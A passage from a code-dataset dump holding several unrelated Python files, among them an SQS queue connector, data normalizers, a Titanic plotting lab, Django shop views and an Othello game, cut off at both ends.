Deletes a message from a queue\n\n :param queue_name: the name of the queue\n :param message_id: the message id\n \"\"\"\n queue = self.get_queue(queue_name)\n\n if not queue:\n raise ValueError('The queue does not exist: %s' % queue_name)\n\n self.connection.delete_message_from_handle(queue, message_id)\n logger.info('Deleted message from queue %s', queue_name)\n\n def retry(self, queue_name, message_id, delay=None):\n \"\"\"\n Retries a job\n\n :param queue_name: the name of the queue\n :param message_id: the message id\n :param delay: delay (in seconds) of the next retry\n \"\"\"\n if delay is None:\n # SQS will requeue the message automatically if no ACK was received\n return\n queue = self.get_queue(queue_name)\n\n if not queue:\n raise ValueError('The queue does not exist: %s' % queue_name)\n\n self.connection.change_message_visibility(queue, message_id, delay)\n logger.info('Changed retry time of a message from queue %s', queue_name)\n\n def _encode_message(self, payload):\n payload_str = json.dumps(payload)\n\n message = boto.sqs.message.Message()\n message.set_body(payload_str)\n\n return message\n\n def _decode_message(self, message):\n payload = json.loads(message.get_body())\n\n retries = int(message.attributes['ApproximateReceiveCount'])\n created_on = int(message.attributes['SentTimestamp'])\n first_execution_on = int(message.attributes['ApproximateFirstReceiveTimestamp'])\n\n payload['_metadata'] = {\n 'id': message.receipt_handle,\n 'retries': retries,\n 'created_on': datetime.fromtimestamp(created_on / 1000),\n 'first_execution_on': datetime.fromtimestamp(first_execution_on / 1000)\n }\n\n logging.debug('Message payload: %s', str(payload))\n\n return payload\n","sub_path":"sqjobs/connectors/sqs.py","file_name":"sqs.py","file_ext":"py","file_size_in_byte":6207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"598802689","text":"from point import Point\nfrom numpy import mean, var\n\n\nclass DummyNormalizer:\n def fit(self, points):\n pass\n\n def transform(self, points):\n return points\n\n\nclass ZNormalizer:\n def __init__(self):\n self.mean_variance_list = []\n\n def fit(self, points):\n all_coordinates = [p.coordinates for p in points]\n self.mean_variance_list = []\n for i in range(len(all_coordinates[0])):\n values = [x[i] for x in all_coordinates]\n self.mean_variance_list.append([mean(values), var(values, ddof=1)**0.5])\n\n def transform(self, points):\n new = []\n for p in points:\n new_coordinates = p.coordinates\n new_coordinates = [(new_coordinates[i] - self.mean_variance_list[i][0]) / self.mean_variance_list[i][1]\n for i in range(len(p.coordinates))]\n new.append(Point(p.name, new_coordinates, p.label))\n return new\n\n\nclass SumNormalizer:\n def __init__(self):\n self.sum_for_normalize = []\n\n def fit(self, points):\n len_var = len(points[0].coordinates)\n for i in range(len_var):\n sum_var = 0\n for point in points:\n # need abs to calculate in the given formula\n sum_var += abs(point.coordinates[i])\n self.sum_for_normalize.append(sum_var)\n\n def transform(self, points):\n new = []\n for p in points:\n new_coordinates = p.coordinates\n # calculation is based on a given formula for this kind of normalization\n new_coordinates = [new_coordinates[i]/self.sum_for_normalize[i] for i in range(len(p.coordinates))]\n new.append(Point(p.name, new_coordinates, p.label))\n return new\n\n\nclass MinMaxNormalizer:\n def __init__(self):\n self.min_max_list = []\n\n def fit(self, points):\n all_coordinates = [p.coordinates for p in points]\n self.min_max_list = []\n for i in range(len(all_coordinates[0])):\n values = [x[i] for x in all_coordinates]\n # each item in the list has to components - minimum and maximum value\n self.min_max_list.append([min(values), max(values)])\n\n def transform(self, points):\n new = []\n for p in points:\n new_coordinates = p.coordinates\n # calculation is based on a given formula for this kind of normalization\n new_coordinates = [((new_coordinates[i] - self.min_max_list[i][0]) /\n (self.min_max_list[i][1] - self.min_max_list[i][0])) for i in range(len(p.coordinates))]\n new.append(Point(p.name, new_coordinates, p.label))\n return new\n","sub_path":"normalization.py","file_name":"normalization.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"558598992","text":"# Лабораторная работа 2\n\n\"\"\"\nИспользуя обучающий набор данных о пассажирах Титаника,\nнаходящийся в проекте (оригинал: https://www.kaggle.com/c/titanic/data), визуализируйте данные:\n- стоимости билетов пассажиров с помощью диаграммы рассеяния (scatterplot):\nпо оси X - пассажиры в порядке увеличения PassengerId, по оси Y - стоимость билетов\n- проанализировать как наилучшим образом визуализировать данные о ценовом распределении билетов (предложить собственный вариант реализации после создании визуализации ниже).\n\n Отобразить два графика (subplot) на одном изображении (figure):\n 1. График типа boxplot, на котором отобразить распределение цен билетов по классам (1, 2, 3).\n 2. Столбчатую диагр��мму (countplot) с распределением средних цен на билеты сгруппированным по трем портам (S, C, Q).\n\nСохранить получившиеся графики в файлах: result1.png, result2.png.\nНастроить название графиков, подписи осей, отобразить риски с числовыми значениями на графике, сделать сетку на графике\n(если необходимо для улучшения изучения данных на графике).\n\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas\nimport seaborn as sns\n\nfrom collections import OrderedDict\n\n# считаем данных из файла, в качестве столбца индексов используем PassengerId\ndata = pandas.read_csv('train.csv', index_col=\"PassengerId\")\nprices = data['Fare']\n\n'''\nГрафик типа boxplot, на котором отобразить распределение цен билетов по классам (1, 2, 3)\n'''\n\n# Вариант 1\nfirst_class_list = data['Fare'].loc[data['Pclass'] == 1].to_list()\nsecond_class_list = data['Fare'].loc[data['Pclass'] == 2].to_list()\nthird_class_list = data['Fare'].loc[data['Pclass'] == 3].to_list()\n\nprices_classes = [first_class_list, second_class_list, third_class_list]\n\nfig = plt.figure(figsize=(10,10))\nax = fig.add_subplot(111)\nax.boxplot(prices_classes)\nfig.savefig(\"boxplot_1.png\")\n\n# Вариант 2\nplot = data.boxplot(by='Pclass', column=['Fare'], grid=False)\nfig2 = plot.get_figure()\nfig2.savefig(\"boxplot_2.png\")\nplt.close()\n\n'''\n 2. Столбчатую диаграмму (countplot) с распределением средних цен на билеты сгруппированным по трем портам (S, C, Q).\n'''\n\nembarked_list = data[['Embarked', 'Fare']].groupby('Embarked')['Fare'].mean().to_frame().reset_index()['Embarked'].to_list()\nfare_list = data[['Embarked', 'Fare']].groupby('Embarked')['Fare'].mean().to_frame().reset_index()['Fare'].to_list()\n\nlists = OrderedDict([('Embarked', embarked_list), ('Fare', fare_list)])\ndf = pandas.DataFrame.from_dict(lists)\n\nfig3 = sns.countplot(x=\"Embarked\", data=df).get_figure()\nfig3.savefig(\"countplot.png\")\n","sub_path":"LR/LR2.py","file_name":"LR2.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"267637835","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('carrito', '0018_sale_with_shipping'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='detailsend',\n name='send',\n field=models.ForeignKey(related_name='detail_sends', verbose_name=b'envio', to='carrito.Send'),\n ),\n ]\n","sub_path":"carrito/migrations/0019_auto_20160428_0515.py","file_name":"0019_auto_20160428_0515.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"293979151","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\nfrom django.apps import AppConfig\n\n\nclass ProjectsConfig(AppConfig):\n name = 'projects'\n verbose_name = 'Projects'\n\n def ready(self):\n from projects.signals import (\n new_experiment_group,\n experiment_group_deleted,\n new_project,\n project_deleted,\n )\n","sub_path":"polyaxon/projects/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"139732783","text":"\"\"\"\n Given a string, return true if the first instance of \"x\" in the string is immediately followed by the string \"xx\".\n\n tripleX(\"abraxxxas\") → true\n tripleX(\"xoxotrololololololoxxx\") → false\n tripleX(\"softX kitty, warm kitty, xxxxx\") → true\n tripleX(\"softx kitty, warm kitty, xxxxx\") → false\n Note :\n\n capital X's do not count as an occurrence of \"x\".\n if there are no \"x\"'s then return false\n\n I think best solution:\n def triple_x(s):\n try:\n return True if s.index(\"x\")==s.index(\"xxx\") else False\n except: return False\n\n https://www.codewars.com/kata/568dc69683322417eb00002c\n\"\"\"\n\n\ndef triple_x(s):\n if 'x' not in s or s == \"\":\n return False\n else:\n Result = s.split('x', 1)[1]\n print(Result[:2])\n if Result[:2] == \"xx\":\n print(True)\n return True\n else:\n print(False)\n return False\n\n\nif __name__ == '__main__':\n input = \"abraxxxas\"\n triple_x(input)\n","sub_path":"7 kyu/L2 Triple X.py","file_name":"L2 Triple X.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"414177225","text":"from crate.theme.rtd.conf.clients_python import *\nhtml_favicon = None\n\nsite_url = 'https://crate.io/docs/clients/python/en/latest/'\nextensions = ['sphinx_sitemap']\n\nrst_prolog = \"\"\"\n.. |nbsp| unicode:: 0xA0\n :trim:\n\"\"\"\n","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"313945970","text":"import math\n\n\ndef get_factor(x):\n for i in range(2, int(math.sqrt(x)) + 1):\n if x % i == 0:\n return int(x / i)\n return 1\n\n\nfor t in range(int(input())):\n x, k = map(int, input().split())\n count = 0\n res = 0\n while x > 1:\n x = get_factor(x)\n count += 1\n if count == k or (count == (k - 1) and x > 1):\n res = 1\n break\n print(res)\n","sub_path":"codechef/long_challenge/april/strange_number.py","file_name":"strange_number.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231437778","text":"from random import randint\n\nfrom django.contrib import messages\nfrom django.db.models import Q, F\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom django.views import View\nfrom django.views.generic import ListView, DetailView, UpdateView\nfrom django.views.generic import FormView, TemplateView\nfrom django.urls import reverse_lazy\nfrom django.contrib.auth import login\n\nfrom .forms import *\n\nfrom .models import *\n\n\ndef home(request):\n query = request.GET.get(\"q\")\n latest_products = Producto.objects.all().order_by('-nombre')[:5]\n busqueda = False\n if query:\n busqueda = True,\n latest_products = Producto.objects.filter(\n Q(nombre__icontains=query) |\n Q(descripcion__icontains=query)\n ).distinct()\n\n context = {\n 'latest_products': latest_products,\n 'busqueda': busqueda,\n 'query': query\n\n }\n return render(request, \"main/home.html\", context)\n\n\ndef ProductListView(request):\n proveedores = Colaborador.objects.all()\n categorias = Categoria.objects.all()\n productos = Producto.objects.all()\n categoria_id = request.GET.get('categoria')\n order = request.GET.get('order')\n nombre = request.GET.get('nombre')\n proveedor_id = request.GET.get('proveedor')\n busqueda = False\n\n if categoria_id != None:\n busqueda = True,\n productos = Producto.objects.filter(Q(categoria=categoria_id))\n if proveedor_id != None:\n busqueda = True,\n productos = Producto.objects.filter(Q(proveedor=proveedor_id))\n if order == 'maxim':\n busqueda = True,\n productos = Producto.objects.order_by('-precio')\n if order == 'minim':\n busqueda = True,\n productos = Producto.objects.order_by('precio')\n if nombre == 'asc':\n busqueda = True,\n productos = Producto.objects.order_by('nombre')\n if nombre == 'dsc':\n busqueda = True,\n productos = Producto.objects.order_by('-nombre')\n\n query = request.GET.get(\"q\")\n if query:\n busqueda = True,\n productos = Producto.objects.filter(\n Q(nombre__icontains=query) |\n Q(descripcion__icontains=query)\n ).distinct()\n\n context = {\n 'productos': productos,\n 'categorias': categorias,\n 'busqueda': busqueda,\n 'proveedores': proveedores\n }\n return render(request, \"main/producto_list.html\", context)\n\n\nclass ProductDetailView(DetailView):\n model = Producto\n\n\nclass RegistrationView(FormView):\n template_name = 'registration/register.html'\n form_class = UserForm\n success_url = reverse_lazy('home')\n\n def form_valid(self, form):\n # This methos is called when valid from data has been POSTed\n # It should return an HttpResponse\n\n # Create User\n username = form.cleaned_data['username']\n first_name = form.cleaned_data['first_name']\n last_name = form.cleaned_data['last_name']\n email = form.cleaned_data['email']\n password = form.cleaned_data['password1']\n\n user = User.objects.create_user(username=username, first_name=first_name, last_name=last_name, email=email,\n password=password)\n user.save()\n\n documento_identidad = form.cleaned_data['documento_identidad']\n fecha_nacimiento = form.cleaned_data['fecha_nacimiento']\n estado = form.cleaned_data['estado']\n genero = form.cleaned_data['genero']\n\n user_profile = Profile.objects.create(user=user, documento_identidad=documento_identidad,\n fecha_nacimiento=fecha_nacimiento, estado=estado, genero=genero)\n user_profile.save()\n\n # Create Cliente if needed\n is_cliente = form.cleaned_data['is_cliente']\n if is_cliente:\n cliente = Cliente.objects.create(user_profile=user_profile)\n\n # Handle special attribute\n preferencias = form.cleaned_data['preferencias']\n preferencias_set = Categoria.objects.filter(pk=preferencias.pk)\n cliente.preferencias.set(preferencias_set)\n\n cliente.save()\n\n # Create Colaborador if needed\n is_colaborador = form.cleaned_data['is_colaborador']\n if is_colaborador:\n reputacion = form.cleaned_data['reputacion']\n colaborador = Colaborador.objects.create(user_profile=user_profile, reputacion=reputacion)\n\n # Handle special attribute\n cobertura_entrega = form.cleaned_data['cobertura_entrega']\n cobertura_entrega_set = Localizacion.objects.filter(pk=cobertura_entrega.pk)\n colaborador.cobertura_entrega.set(cobertura_entrega_set)\n\n colaborador.save()\n\n # Login the user\n login(self.request, user)\n\n return super().form_valid(form)\n\n\nclass AddToCartView(View):\n def get(self, request, product_pk):\n # Obten el cliente\n user_profile = Profile.objects.get(user=request.user)\n cliente = Cliente.objects.get(user_profile=user_profile)\n # Obtén el producto que queremos añadir al carrito\n producto = Producto.objects.get(pk=product_pk)\n # Obtén/Crea un/el pedido en proceso (EP) del usuario\n pedido, _ = Pedido.objects.get_or_create(cliente=cliente, estado='EP')\n # Obtén/Crea un/el detalle de pedido\n detalle_pedido, created = DetallePedido.objects.get_or_create(\n producto=producto,\n pedido=pedido,\n )\n\n # Si el detalle de pedido es creado la cantidad es 1\n # Si no sumamos 1 a la cantidad actual\n if created:\n detalle_pedido.cantidad = 1\n else:\n detalle_pedido.cantidad = F('cantidad') + 1\n # Guardamos los cambios\n detalle_pedido.save()\n # Recarga la página\n return redirect(request.META['HTTP_REFERER'])\n\n\nclass RemoveFromCartView(View):\n def get(self, request, product_pk):\n # Obten el cliente\n user_profile = Profile.objects.get(user=request.user)\n cliente = Cliente.objects.get(user_profile=user_profile)\n # Obtén el producto que queremos añadir al carrito\n producto = Producto.objects.get(pk=product_pk)\n # Obtén/Crea un/el pedido en proceso (EP) del usuario\n pedido, _ = Pedido.objects.get_or_create(cliente=cliente, estado='EP')\n # Obtén/Crea un/el detalle de pedido\n detalle_pedido = DetallePedido.objects.get(\n producto=producto,\n pedido=pedido,\n )\n # Si la cantidad actual menos 1 es 0 elmina el producto del carrito\n # Si no restamos 1 a la cantidad actual\n if detalle_pedido.cantidad - 1 == 0:\n detalle_pedido.delete()\n else:\n detalle_pedido.cantidad = F('cantidad') - 1\n # Guardamos los cambios\n detalle_pedido.save()\n # Recarga la página\n return redirect(request.META['HTTP_REFERER'])\n\n\nclass PedidoDetailView(DetailView):\n model = Pedido\n\n def get_object(self):\n # Obten el cliente\n user_profile = Profile.objects.get(user=self.request.user)\n cliente = Cliente.objects.get(user_profile=user_profile)\n # Obtén/Crea un/el pedido en proceso (EP) del usuario\n pedido = Pedido.objects.get(cliente=cliente, estado='EP')\n return pedido\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['detalles'] = context['object'].detallepedido_set.all()\n return context\n\n\nclass PedidoUpdateView(UpdateView):\n model = Pedido\n fields = ['ubicacion', 'direccion_entrega']\n success_url = reverse_lazy('payment')\n\n def form_valid(self, form):\n # This method is called when valid form data has been POSTed.\n # It should return an HttpResponse.\n self.object = form.save(commit=False)\n # Calculo de tarifa\n self.object.tarifa = randint(5, 20)\n return super().form_valid(form)\n\n\nclass PaymentView(TemplateView):\n template_name = \"main/payment.html\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n # Obten el cliente\n user_profile = Profile.objects.get(user=self.request.user)\n cliente = Cliente.objects.get(user_profile=user_profile)\n context['pedido'] = Pedido.objects.get(cliente=cliente, estado='EP')\n\n return context\n\n\nclass CompletePaymentView(View):\n def get(self, request):\n # Obten el cliente\n user_profile = Profile.objects.get(user=request.user)\n cliente = Cliente.objects.get(user_profile=user_profile)\n # Obtén/Crea un/el pedido en proceso (EP) del usuario\n pedido = Pedido.objects.get(cliente=cliente, estado='EP')\n # Cambia el estado del pedido\n pedido.estado = 'PAG'\n # Asignacion de repartidor\n pedido.repartidor = Colaborador.objects.order_by('?').first()\n # Guardamos los cambios\n pedido.save()\n messages.success(request, 'Gracias por tu compra! Un repartidor ha sido asignado a tu pedido.')\n return redirect('home')\n\n\ndef seeProduct(request):\n proveedor_id = request.user.profile.colaborador.id\n misproductos = Producto.objects.filter(proveedor=proveedor_id)\n\n context = {\n 'misproductos': misproductos\n }\n return render(request,\"main/mis_productos.html\", context)\n\n\ndef createProduct(request):\n proveedor_id = request.user.profile.colaborador.id\n proveedor = Colaborador.objects.get(id=proveedor_id)\n initial_data = {\n 'proveedor': proveedor,\n }\n form = ProductoForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n form.save()\n\n context = {\n 'form': form\n }\n return render(request,\"main/crear_producto.html\", context)\n\n\ndef editProduct(request, pk):\n producto = Producto.objects.get(id=pk)\n form = ProductoForm(instance=producto)\n if request.method == 'POST':\n form = ProductoForm(request.POST, instance=producto)\n if form.is_valid():\n form.save()\n context = {\n 'form': form\n }\n return render(request, \"main/editar_producto.html\", context)\n\n\ndef deleteProduct(request, pk):\n producto = Producto.objects.get(id=pk)\n if request.method == 'POST':\n producto.delete()\n return redirect('allmyproducts')\n context = {\n 'producto': producto\n }\n return render(request, \"main/borrar_producto.html\", context)\n","sub_path":"linio/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"155959749","text":"'''\n Loi Truong\n CS5001\n Homework 7\n December 7th, 2018\n'''\nimport turtle\nimport random\n\nSQUARE = 50\nn = 4\nSCOREFILE = 'scores.txt'\n\n\nclass Board:\n def __init__(self, n):\n ''' Function: __init__\n Parameters: n, an int for # of squares\n Returns: nothing\n Does: Initializes a nested list with dimension nxn and four\n starting tiles. -1 represents white tiles, 1 for black tiles \n '''\n self.board = [[0] * n for i in range(n)]\n\n # Set up starting tiles\n self.board[int(n/2 - 1)][int(n/2)] = 1\n self.board[int(n/2)][int(n/2 - 1)] = 1\n self.board[int(n/2 - 1)][int(n/2 - 1)] = -1\n self.board[int(n/2)][int(n/2)] = -1\n \n def draw_lines(self, turt, n):\n turt.pendown()\n turt.forward(SQUARE * n)\n turt.penup()\n\n def draw_board(self, board, n):\n ''' Function: draw_board\n Parameters: board, the nested list representing the board; n, an int\n for # of squares\n Returns: nothing\n Does: Draws an nxn board with a green background and tiles. This is\n constantly updated to reflec the current state of the game \n '''\n\n turtle.setup(n * SQUARE + SQUARE, n * SQUARE + SQUARE)\n turtle.screensize(n * SQUARE, n * SQUARE)\n turtle.bgcolor('white')\n\n # Create the turtle to draw the board\n othello = turtle.Turtle()\n othello.penup()\n othello.speed(0)\n othello.hideturtle()\n\n # Line color is black, fill color is green\n othello.color(\"black\", \"forest green\")\n \n # Move the turtle to the upper left corner\n corner = -n * SQUARE / 2\n othello.setposition(corner, corner)\n \n # Draw the green background\n othello.begin_fill()\n for i in range(4):\n othello.pendown()\n othello.forward(SQUARE * n)\n othello.left(90)\n othello.end_fill()\n\n # Draw the horizontal lines\n for i in range(n + 1):\n othello.setposition(corner, SQUARE * i + corner)\n self.draw_lines(othello, n)\n\n # Draw the vertical lines\n othello.left(90)\n for i in range(n + 1):\n othello.setposition(SQUARE * i + corner, corner)\n self.draw_lines(othello, n)\n\n\n def draw_circle(self, player):\n ''' Function: draw_circle\n Parameters: player, an int for the player, -1 for white and\n 1 for black\n Returns: nothing\n Does: Draw a tile whose color depends on the player\n '''\n if player > 0:\n turtle.fillcolor('black')\n else:\n turtle.fillcolor('white')\n\n turtle.speed(0)\n turtle.hideturtle()\n turtle.down()\n turtle.begin_fill()\n turtle.circle(SQUARE/2)\n turtle.end_fill()\n turtle.up()\n\n\n def find_tile_starting_cor(self, board, x, y):\n ''' Function: find_tile_starting_cor\n Parameters: board, a nested list; x and y as the row and column\n of the nested list\n Returns: the coordinates of the middle bottom of a square \n Does: Finds the coordinates inside each square to start\n drawing tile for that square\n '''\n tile_xcor = (-SQUARE * (n - 1)) / 2 + (SQUARE * y)\n tile_ycor = SQUARE * (n/2 - 1 - x)\n return [tile_xcor, tile_ycor]\n\n def draw_tiles(self, board):\n ''' Function: draw_tiles\n Parameters: board (a nested list)\n Returns: nothing\n Does: Loops through the nested list and draws the tiles according\n to the elements in the list. -1 for white tiles, 1 for black tiles\n '''\n for x in range(len(self.board)):\n for y in range(len(self.board)):\n if self.board[x][y] > 0:\n self.draw_tile(board, x, y, 1)\n elif self.board[x][y] < 0:\n self.draw_tile(board, x, y, -1)\n turtle.up()\n \n def draw_tile(self, board, x, y, player):\n ''' Function: draw_tile\n Parameters: board (a nested list), x and y (int) as row and column;\n player (an int) for the player (-1 for white and 1 for black)\n Returns: nothing\n Does: Calls the find_tile_starting_cor to set the turtle at\n the coordinates of a square and starts drawing the tile for\n that square\n '''\n tile_cor = self.find_tile_starting_cor(board, x, y)\n turtle.setx(tile_cor[0])\n turtle.sety(tile_cor[1])\n self.draw_circle(player)\n \n def move(self, board, move, player):\n ''' Function: move\n Parameters: board (a nested list), move (a tuple that has the row\n and column of the move, as well as its legal directions), player\n (int) representing the player (1 for black, -1 for white)\n Returns: the updated board after the move is made \n Does: Places and draws the tile at the chosen row and column,\n flips any tile from the other player in between the player's tiles\n '''\n x = move[0]\n y = move[1]\n\n # Black case:\n if player > 0:\n\n # Loops through the possible legal direction of the chosen move\n for i in range(len(move[2])):\n while board[x][y] < player:\n # Places and draws the tile \n board[x][y] = player\n self.draw_tile(board, x, y, player)\n\n # Temporarily sets the tile back to none \n board[move[0]][move[1]]= 0\n # Updates the direction while flipping any tiles in between\n x += move[2][i][0]\n y += move[2][i][1]\n x = move[0]\n y = move[1]\n\n # Returns the tile we originally placed \n board[move[0]][move[1]] = 1\n return board\n\n # White case\n else: \n for i in range(len(move[2])):\n while board[x][y] > player:\n board[x][y] = player\n self.draw_tile(board, x, y, player)\n board[move[0]][move[1]] = 0\n x += move[2][i][0]\n y += move[2][i][1]\n x = move[0]\n y = move[1]\n board[move[0]][move[1]] = -1\n return board\n \n def simulation_move(self, board, move, player):\n ''' Function: simulation_move\n Parameters: board (a nested list), move (a tuple representing\n the row and column of the move), player (int) representing the\n player (1 for black, -1 for white)\n Returns: the updated board after the move is made \n Does: Hypothetically places the tile according to the chosen move,\n flips any tile from the other player in between the player's tiles.\n This is used for simulation to choose the best move for the\n computer \n '''\n x = move[0]\n y = move[1]\n for i in range(len(move[2])):\n while board[x][y] > player:\n board[x][y] = player\n board[move[0]][move[1]] = 0\n x += move[2][i][0]\n y += move[2][i][1]\n x = move[0]\n y = move[1]\n board[move[0]][move[1]] = -1\n return board\n \n def is_legal_direction(self, row, column, board, player, j, k):\n ''' Function: is_legal_direction\n Parameters: row and column (an int), board (a nested list),\n player (an int representing each player), j and k (an int from:\n -1 to 0 to 1)\n Returns: boolean\n Does: Evaluates 8 possible directions of a move and returns True\n only if there is a tile from the opposite player next to that and\n at the end of the direction there is a tile from the player to\n allow flipping \n '''\n \n legal_dir = False\n legal_dir_for_flipping = False\n\n # An occupied square is not a legal move \n if board[row][column] != 0:\n return legal_dir\n\n # Check all 8 directions of a hypothetical move \n row += j\n column += k\n count = 0\n\n # The loop runs when the new direction is not out of the board \n while (0 <= row and row < len(board)) and \\\n (0 <= column and column < len(board)):\n count += 1\n\n # Black case \n if player == 1:\n\n # This means the tile in the direction is from the opposite\n # player \n if board[row][column] < 0:\n legal_dir = True\n\n # This means there is no tile in the direction\n elif board[row][column] == 0:\n legal_dir = False\n break\n\n # This means there is a tile from the player at the end\n # of the direction that would allow flipping \n else:\n legal_dir_for_flipping = True\n break\n\n # White case \n else:\n if board[row][column] > 0: \n legal_dir = True\n elif board[row][column] == 0 :\n legal_dir = False\n break\n else:\n legal_dir_for_flipping = True\n break\n row += j\n column += k\n\n \n if count < 2:\n return False\n \n return legal_dir and legal_dir_for_flipping\n \n def legal_move(self, row, column, board, player):\n ''' Function: legal_move\n Parameters: row and column (an int), board (nested list), player\n (an int representing each player)\n Returns: a list of legal directions of a hypothetical move\n Does: Evaluates all 8 possible directions of a hypothetical move by\n calling the is_legal_direction function \n '''\n legal_move_list = []\n\n # j and k are the factors for eight directions \n for k in (-1, 0, 1):\n for j in (-1, 0, 1):\n if (k != 0 or j != 0) and \\\n self.is_legal_direction(row, column, board, player, j, k):\n legal_move_list.append((j,k))\n return legal_move_list\n \n \n def find_moves(self, board, player):\n ''' Function: moves\n Parameters: board (a nested list), player (an int representing each\n player)\n Returns: a list of possible moves. Each element of the list is a\n tuple of row, column of a move, and the list of legal directions\n associated with that move \n Does: Loops through the board, calls the legal_move function to\n determine the possible moves \n '''\n moves_list = []\n for column in range(len(self.board)):\n for row in range(len(self.board)):\n if self.legal_move(row, column, board, player) != []:\n moves_list.append((row, column, self.legal_move(row,\n column,\n board,\n player)))\n return moves_list\n\n def get_new_board(self):\n ''' Function: get_new_board \n Parameters: self \n Returns: a completely new and empty nested list \n Does: Creates a nested list to represent the data structure of a new\n board. This nested list only has elements 0, indicating the board\n is empty and has no tiles \n '''\n new_board = [[0] * n for i in range(n)]\n return new_board\n\n def make_board_copy(self, board):\n ''' Function: make_board_copy \n Parameters: self, board (a nested list) \n Returns: a nested list \n Does: Creates a copy of the current board structure to be used\n for simulation \n '''\n board_copy = self.get_new_board()\n\n for x in range(n):\n for y in range(n):\n board_copy[x][y] = board[x][y]\n return board_copy \n\n def is_on_corner(self, row, column):\n ''' Function: is_on_corner \n Parameters: row and column (int) \n Returns: boolean \n Does: Checks whether a move is at the corner to the board \n '''\n return (row == 0 and column == 0) or \\\n (row == (n - 1) and column == 0) or \\\n (row == 0 and column == (n - 1)) or \\\n (row == (n - 1) and column == (n - 1))\n\n def select_move(self, moves, player):\n ''' Function: select_move\n Parameters: moves (a list of possible moves), player (an int,\n -1 for white, 1 for black)\n Returns: a move from the list of possible legal moves\n Does: Loops through the possible legal moves of the player and\n picks the best move. Corner moves are the best moves. If\n no corner moves exist, creates a simulation for each possible\n legal move and picks the one that can flip the most tiles \n '''\n # Always picks corner moves if they exist \n for i in range(len(moves)):\n if self.is_on_corner(moves[i][0], moves[i][1]):\n return moves[i]\n\n # Otherwise, simulates each possible move, compare the scores\n # after the simulation to see what move can flip the most tiles \n best_score = -1\n for i in range(len(moves)):\n board_copy = self.make_board_copy(self.board)\n self.simulation_move(board_copy, moves[i], -1)\n score = self.score_board(board_copy)[1]\n if score > best_score:\n best_move = moves[i]\n best_score = score\n return best_move \n \n def score_board(self, board):\n ''' Function: score_board\n Parameters: board (a nested list)\n Returns: a list of scores of player's (number of black tiles) and\n computer's (number of white tiles) \n Does: Loops through the board and counts the number of black\n and white tiles \n '''\n black = 0\n white = 0\n for i in range(len(board)):\n for j in range(len(board[i])):\n if board[i][j] == 1:\n black += 1\n elif board[i][j] == -1:\n white += 1\n return [black, white]\n\n def write_score(self, user_name, score, file_name = SCOREFILE):\n ''' Function: write_score\n Input: username (string), score (an integer)\n Returns: nothing\n Does: Creates a file named scores.txt and writes the user name\n and score to the file. This applies to first user only \n '''\n try:\n outfile = open(file_name, 'w')\n outfile.write(user_name + ' ' + str(score) + '\\n')\n outfile.close()\n except OSError:\n print('Unable to store your name and score')\n return\n \n def write_arranged_scores(self, user_name, score, file_name = SCOREFILE):\n ''' Function: write_arranged_scores\n Input: username (string), score (integer), file scores.txt\n (optional)\n Returns: nothing\n Does: Executes function write_score if this is a first user.\n Otherwise, opens existing scores.txt file, writes username and\n score to the top of the file if highest score. If not highest score,\n writes username and score to bottom of file \n '''\n try:\n infile = open(file_name, 'r')\n all_score = infile.read()\n lines = all_score.splitlines()\n infile.close()\n all_data = []\n for line in lines:\n all_data.append(line.split(' '))\n if score > int(all_data[0][1]):\n final_data = [user_name + ' ' + str(score)] + lines\n else:\n final_data = lines + [user_name + ' ' + str(score)]\n\n outfile = open(file_name, 'w')\n for data in final_data:\n outfile.write(data + '\\n')\n outfile.close()\n \n except OSError:\n self.write_score(user_name, score)\n return\n \n def find_row(self, y):\n ''' Function: find_row \n Input: y (float) - the y coordinate of the turtle click \n Returns: the row of the board where the user clicks \n Does: Calculates the row of the board where the user clicks\n ''' \n start = -(n * SQUARE) / 2\n row = int((-start - y) // SQUARE)\n return row\n\n def find_column(self, x):\n ''' Function: find_column \n Input: x (float) - the x coordinate of the turtle click \n Returns: the column of the board where the user clicks \n Does: Calculates the column of the board where the user clicks\n ''' \n start = -(n * SQUARE) / 2\n column = int((-start + x) // SQUARE)\n return column \n\n def play_human(self, x, y):\n ''' Function: play_human \n Input: x, y (float) - the coordinates of the turtle click \n Returns: nothing\n Does: Responds to the player's click and places the tile.\n Switches to the computer if there's no moves left \n '''\n # Find all the possible moves \n black_moves = self.find_moves(self.board, 1)\n\n # If there's a move, then evaluates the click\n \n if len(black_moves) > 0:\n \n row = self.find_row(y)\n column = self.find_column(x)\n # Prompts user to click inside the board \n if (row < 0 or row >= n) or (column < 0 or column >= n):\n print('Please click inside the board')\n\n # If they click on a valid square, then places the tile and flips\n else:\n for i in range(len(black_moves)):\n if black_moves[i][0] == row \\\n and 